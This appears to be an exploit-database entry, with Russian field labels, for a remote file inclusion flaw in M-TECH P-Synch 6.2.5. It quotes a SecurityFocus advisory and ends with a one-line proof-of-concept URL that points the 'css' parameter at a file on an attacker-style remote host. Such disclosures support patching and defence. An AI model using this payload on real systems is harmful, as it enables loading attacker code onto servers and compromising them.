Exploit M-TECH P-Synch 6.2.5 - 'nph-psa.exe?css' Remote File Inclusion

[Exploiter]

EDB-ID

22689

Проверка EDB

1. Пройдено

Автор

JEIAR

Тип уязвимости

WEBAPPS

Платформа

CGI

CVE

null

Дата публикации

2003-05-29

source: https://www.securityfocus.com/bid/7747/info
 
A remote file include vulnerability has been reported for P-Synch. Due to insufficient sanitization of some user-supplied URI variables, it is possible for a remote attacker to include a malicious file in a URL.
 
An attacker may exploit this by supplying a path to a maliciously created file, located on an attacker-controlled host as a value for a specific URI parameter. 

https://path/to/psynch/nph-psa.exe?css=http://somesite/file